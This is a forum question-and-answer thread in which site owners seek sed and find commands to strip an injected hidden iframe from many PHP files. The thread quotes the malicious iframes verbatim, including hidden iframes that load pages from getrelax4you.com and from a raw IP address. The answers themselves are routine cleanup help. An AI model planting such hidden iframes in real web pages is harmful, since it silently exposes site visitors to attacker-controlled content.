Single Quotes Iframe Virus

Question

Hello,

i am looking for a shell script to remove following code from multiple files:

<iframe hbfww='BoGJMTtZ' src='http://getrelax4you.com/in.cgi?7 ' width='665' height='432' style='display:none'></iframe>

I found scripts to remove iframes but they alle where for code with double quotes

Like this one here:

find -name "*.php" -exec sed -i 's/<iframe src="http:\/\/124.217.252.62\/~admin\/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//' {} \;

i tried escaping the single quotes like this

find -name "*.php" -exec sed -i 's/<iframe src=\'http:\/\/getrelax4you\/in.cgi?7 \' width=\'665\' height=\'432\' style=\'display:none\'><\/iframe>//' {} \;

but then i get --> syntax error near unexpected token `<'

Answer 1

You might need to escape the < using a backslash: \< (or \\<, to escape the escape char from the shell)

Answer 2

Strange, but double quotes on the outside work for me:

find -name "*.php" -exec sed -i "s/<iframe src=\'http:\/\/getrelax4you\/in.cgi?7 \' width=\'665\' height=\'432\' style=\'display:none\'><\/iframe>//" {} \;

But I cannot stop wondering why your command doesn't work. I tried this on bash.

Answer 3

cat xyz.php | sed "s/.*BoG.*$//g" > fixedxyz.php

replace the BoG with as much as is necessary to make it unique (the '<' is irrelevant in my search/replace)

Answer 4

This should work without any escaping:

sed "s|<iframe hbfww='BoGJMTtZ' src='http://getrelax4you.com/in.cgi?7 ' width='665' height='432' style='display:none'></iframe>||"

Answer 5

I have the same issue. Is this a hacker or a virus?

is added to almost all my php files and some html files.

Someone please shed some light on this